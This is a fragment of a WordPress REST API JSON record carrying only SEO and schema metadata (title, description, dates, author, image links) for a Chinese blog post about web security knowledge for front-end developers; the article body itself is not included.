"post-284","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-technews","col-md-12"],"aioseo_notices":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.8 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\u524d\u7aef\u5f00\u53d1\u9700\u8981\u77e5\u9053\u7684\u7f51\u7edc\u5b89\u5168\u77e5\u8bc6 - WITE<\/title>\n<meta name=\"description\" content=\"\u4f5c\u4e3a\u5f00\u53d1\u8005\u4e00\u5b9a\u8981\u4e86\u89e3\u5230\u7684\u7f51\u7edc\u5b89\u5168\u77e5\u8bc6\u3002\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/wite.oxoooo.com\/?p=284\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\u524d\u7aef\u5f00\u53d1\u9700\u8981\u77e5\u9053\u7684\u7f51\u7edc\u5b89\u5168\u77e5\u8bc6 - WITE\" \/>\n<meta property=\"og:description\" content=\"\u4f5c\u4e3a\u5f00\u53d1\u8005\u4e00\u5b9a\u8981\u4e86\u89e3\u5230\u7684\u7f51\u7edc\u5b89\u5168\u77e5\u8bc6\u3002\" \/>\n<meta property=\"og:url\" content=\"https:\/\/wite.oxoooo.com\/?p=284\" \/>\n<meta property=\"og:site_name\" content=\"WITE\" \/>\n<meta property=\"article:published_time\" content=\"2022-03-11T08:45:54+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2022-03-23T07:27:21+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/wite.oxoooo.com\/wp-content\/uploads\/2022\/03\/jhk-1646988212949.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"626\" \/>\n\t<meta property=\"og:image:height\" content=\"417\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"hgostand\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"hgostand\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4\" \/>\n\t<meta name=\"twitter:data2\" content=\"4 \u5206\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/wite.oxoooo.com\\\/?p=284#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/wite.oxoooo.com\\\/?p=284\"},\"author\":{\"name\":\"hgostand\",\"@id\":\"https:\\\/\\\/wite.oxoooo.com\\\/#\\\/schema\\\/person\\\/00c6377b90c41a8d0789bd572010a7ea\"},\"headline\":\"\u524d\u7aef\u5f00\u53d1\u9700\u8981\u77e5\u9053\u7684\u7f51\u7edc\u5b89\u5168\u77e5\u8bc6\",\"datePublished\":\"2022-03-11T08:45:54+00:00\",\"dateModified\":\"2022-03-23T07:27:21+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/wite.oxoooo.com\\\/?p=284\"},\"wordCount\":125,\"publisher\":{\"@id\":\"https:\\\/\\\/wite.oxoooo.com\\\/#\\\/schema\\\/person\\\/00c6377b90c41a8d0789bd572010a7ea\"},\"image\":{\"@id\":\"https:\\\/\\\/wite.oxoooo.com\\\/?p=284#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/wite.oxoooo.com\\\/wp-content\\\/uploads\\\/2022\\\/03\\\/jhk-1646988212949.jpg\",\"articleSection\":[\"\u65f6\u523b\"],\"inLanguage\":\"zh-Hans\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/wite.oxoooo.com\\\/?p=284\",\"url\":\"https:\\\/\\\/wite.oxoooo.com\\\/?p=284\",\"name\":\"\u524d\u7aef\u5f00\u53d1\u9700\u8981\u77e5\u9053\u7684\u7f51\u7edc\u5b89\u5168\u77e5\u8bc6 - WITE\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/wite.oxoooo.com\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/wite.oxoooo.com\\\/?p=284#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/wite.oxoooo.com\\\/?p=284#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/wite.oxoooo.com\\\/wp-content\\\/uploads\\\/2022\\\/03\\\/jhk-1646988212949.jpg\",\"datePublished\":\"2022-03-11T08:45:54+00:00\",\"dateModified\":\"2022-03-23T07:27:21+00:00\",\"description\":\"\u4f5c\u4e3a\u5f00\u53d1\u8005\u4e00\u5b9a\u8981\u4e86\u89e3\u5230\u7684\u7f51\u7edc\u5b89\u5168\u77e5\u8bc6\u3002\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/wite.oxoooo.com\\\/?p=284#breadcrumb\"},\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/wite.oxoooo.com\\\/?p=284\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-Hans\",\"@id\":\"https:\\\/\\\/wite.oxoooo.com\\\/?p=284#primaryimage\",\"url\":\"https:\\\/\\\/wite.oxoooo.com\\\/wp-content\\\/uploads\\\/2022\\\/03\\\/jhk-1646988212949.jpg\",\"contentUrl\":\"https:\\\/\\\/wite.oxoooo.com\\\/wp-content\\\/uploads\\\/2022\\\/03\\\/jhk-1646988212949.jpg\",\"width\":626,\"height\":417},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/wite.oxoooo.com\\\/?p=284#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\u9996\u9875\",\"item\":\"https:\\\/\\\/wite.oxoooo.com\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\u524d\u7aef\u5f00\u53d1\u9700\u8981\u77e5\u9053\u7684\u7f51\u7edc\u5b89\u5168\u77e5\u8bc6\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/wite.oxoooo.com\\\/#website\",\"url\":\"https:\\\/\\\/wite.oxoooo.com\\\/\",\"name\":\"WITE\",\"description\":\"\u805a\u7126\u6280\u672f\u9886\u57df\u521b\u65b0\",\"publisher\":{\"@id\":\"https:\\\/\\\/wite.oxoooo.com\\\/#\\\/schema\\\/person\\\/00c6377b90c41a8d0789bd572010a7ea\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/wite.oxoooo.com\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"zh-Hans\"},{\"@type\":[\"Person\",\"Organization\"],\"@id\":\"https:\\\/\\\/wite.oxoooo.com\\\/#\\\/schema\\\/person\\\/00c6377b90c41a8d0789bd572010a7ea\",\"name\":\"hgostand\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-Hans\",\"@id\":\"https:\\\/\\\/www.hgostand.com\\\/wp-content\\\/uploads\\\/2022\\\/03\\\/\u8d44\u6e90-4@4x.png\",\"url\":\"https:\\\/\\\/www.hgostand.com\\\/wp-content\\\/uploads\\\/2022\\\/03\\\/\u8d44\u6e90-4@4x.png\",\"contentUrl\":\"https:\\\/\\\/www.hgostand.com\\\/wp-content\\\/uploads\\\/2022\\\/03\\\/\u8d44\u6e90-4@4x.png\",\"width\":824,\"height\":618,\"caption\":\"hgostand\"},\"logo\":{\"@id\":\"https:\\\/\\\/www.hgostand.com\\\/wp-content\\\/uploads\\\/2022\\\/03\\\/\u8d44\u6e90-4@4x.png\"},\"url\":\"https:\\\/\\\/wite.oxoooo.com\\\/?author=2\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\u524d\u7aef\u5f00\u53d1\u9700\u8981\u77e5\u9053\u7684\u7f51\u7edc\u5b89\u5168\u77e5\u8bc6 - WITE","description":"\u4f5c\u4e3a\u5f00\u53d1\u8005\u4e00\u5b9a\u8981\u4e86\u89e3\u5230\u7684\u7f51\u7edc\u5b89\u5168\u77e5\u8bc6\u3002","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/wite.oxoooo.com\/?p=284","og_locale":"zh_CN","og_type":"article","og_title":"\u524d\u7aef\u5f00\u53d1\u9700\u8981\u77e5\u9053\u7684\u7f51\u7edc\u5b89\u5168\u77e5\u8bc6 - WITE","og_description":"\u4f5c\u4e3a\u5f00\u53d1\u8005\u4e00\u5b9a\u8981\u4e86\u89e3\u5230\u7684\u7f51\u7edc\u5b89\u5168\u77e5\u8bc6\u3002","og_url":"https:\/\/wite.oxoooo.com\/?p=284","og_site_name":"WITE","article_published_time":"2022-03-11T08:45:54+00:00","article_modified_time":"2022-03-23T07:27:21+00:00","og_image":[{"width":626,"height":417,"url":"https:\/\/wite.oxoooo.com\/wp-content\/uploads\/2022\/03\/jhk-1646988212949.jpg","type":"image\/jpeg"}],"author":"hgostand","twitter_card":"summary_large_image","twitter_misc":{"\u4f5c\u8005":"hgostand","\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4":"4 \u5206"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/wite.oxoooo.com\/?p=284#article","isPartOf":{"@id":"https:\/\/wite.oxoooo.com\/?p=284"},"author":{"name":"hgostand","@id":"https:\/\/wite.oxoooo.com\/#\/schema\/person\/00c6377b90c41a8d0789bd572010a7ea"},"headline":"\u524d\u7aef\u5f00\u53d1\u9700\u8981\u77e5\u9053\u7684\u7f51\u7edc\u5b89\u5168\u77e5\u8bc6","datePublished":"2022-03-11T08:45:54+00:00","dateModified":"2022-03-23T07:27:21+00:00","mainEntityOfPage":{"@id":"https:\/\/wite.oxoooo.com\/?p=284"},"wordCount":125,"publisher":{"@id":"https:\/\/wite.oxoooo.com\/#\/schema\/person\/00c6377b90c41a8d0789bd572010a7ea"},"image":{"@id":"https:\/\/wite.oxoooo.com\/?p=284#primaryimage"},"thumbnailUrl":"https:\/\/wite.oxoooo.com\/wp-content\/uploads\/2022\/03\/jhk-1646988212949.jpg","articleSection":["\u65f6\u523b"],"inLanguage":"zh-Hans"},{"@type":"WebPage","@id":"https:\/\/wite.oxoooo.com\/?p=284","url":"https:\/\/wite.oxoooo.com\/?p=284","name":"\u524d\u7aef\u5f00\u53d1\u9700\u8981\u77e5\u9053\u7684\u7f51\u7edc\u5b89\u5168\u77e5\u8bc6 - WITE","isPartOf":{"@id":"https:\/\/wite.oxoooo.com\/#website"},"primaryImageOfPage":{"@id":"https:\/\/wite.oxoooo.com\/?p=284#primaryimage"},"image":{"@id":"https:\/\/wite.oxoooo.com\/?p=284#primaryimage"},"thumbnailUrl":"https:\/\/wite.oxoooo.com\/wp-content\/uploads\/2022\/03\/jhk-1646988212949.jpg","datePublished":"2022-03-11T08:45:54+00:00","dateModified":"2022-03-23T07:27:21+00:00","description":"\u4f5c\u4e3a\u5f00\u53d1\u8005\u4e00\u5b9a\u8981\u4e86\u89e3\u5230\u7684\u7f51\u7edc\u5b89\u5168\u77e5\u8bc6\u3002","breadcrumb":{"@id":"https:\/\/wite.oxoooo.com\/?p=284#breadcrumb"},"inLanguage":"zh-Hans","potentialAction":[{"@type":"ReadAction","target":["https:\/\/wite.oxoooo.com\/?p=284"]}]},{"@type":"ImageObject","inLanguage":"zh-Hans","@id":"https:\/\/wite.oxoooo.com\/?p=284#primaryimage","url":"https:\/\/wite.oxoooo.com\/wp-content\/uploads\/2022\/03\/jhk-1646988212949.jpg","contentUrl":"https:\/\/wite.oxoooo.com\/wp-content\/uploads\/2022\/03\/jhk-1646988212949.jpg","width":626,"height":417},{"@type":"BreadcrumbList","@id":"https:\/\/wite.oxoooo.com\/?p=284#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\u9996\u9875","item":"https:\/\/wite.oxoooo.com\/"},{"@type":"ListItem","position":2,"name":"\u524d\u7aef\u5f00\u53d1\u9700\u8981\u77e5\u9053\u7684\u7f51\u7edc\u5b89\u5168\u77e5\u8bc6"}]},{"@type":"WebSite","@id":"https:\/\/wite.oxoooo.com\/#website","url":"https:\/\/wite.oxoooo.com\/","name":"WITE","description":"\u805a\u7126\u6280\u672f\u9886\u57df\u521b\u65b0","publisher":{"@id":"https:\/\/wite.oxoooo.com\/#\/schema\/person\/00c6377b90c41a8d0789bd572010a7ea"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/wite.oxoooo.com\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"zh-Hans"},{"@type":["Person","Organization"],"@id":"https:\/\/wite.oxoooo.com\/#\/schema\/person\/00c6377b90c41a8d0789bd572010a7ea","name":"hgostand","image":{"@type":"ImageObject","inLanguage":"zh-Hans","@id":"https:\/\/www.hgostand.com\/wp-content\/uploads\/2022\/03\/\u8d44\u6e90-4@4x.png","url":"https:\/\/www.hgostand.com\/wp-content\/uploads\/2022\/03\/\u8d44\u6e90-4@4x.png","contentUrl":"https:\/\/www.hgostand.com\/wp-content\/uploads\/2022\/03\/\u8d44\u6e90-4@4x.png","width":824,"height":618,"caption":"hgostand"},"logo":{"@id":"https:\/\/www.hgostand.com\/wp-content\/uploads\/2022\/03\/\u8d44\u6e90-4@4x.png"},"url":"https:\/\/wite.oxoooo.com\/?author=2"}]}},"_links":{"self":[{"href":"https:\/\/wite.oxoooo.com\/index.php?rest_route=\/wp\/v2\/posts\/284","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/wite.oxoooo.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/wite.oxoooo.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/wite.oxoooo.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/wite.oxoooo.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=284"}],"version-history":[{"count":2,"href":"https:\/\/wite.oxoooo.com\/index.php?rest_route=\/wp\/v2\/posts\/284\/revisions"}],"predecessor-version":[{"id":287,"href":"https:\/\/wite.oxoooo.com\/index.php?rest_route=\/wp\/v2\/posts\/284\/revisions\/287"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/wite.oxoooo.com\/index.php?rest_route=\/wp\/v2\/media\/286"}],"wp:attachment":[{"href":"https:\/\/wite.oxoooo.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=284"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/wite.oxoooo.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=284"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/wite.oxoooo.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=284"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}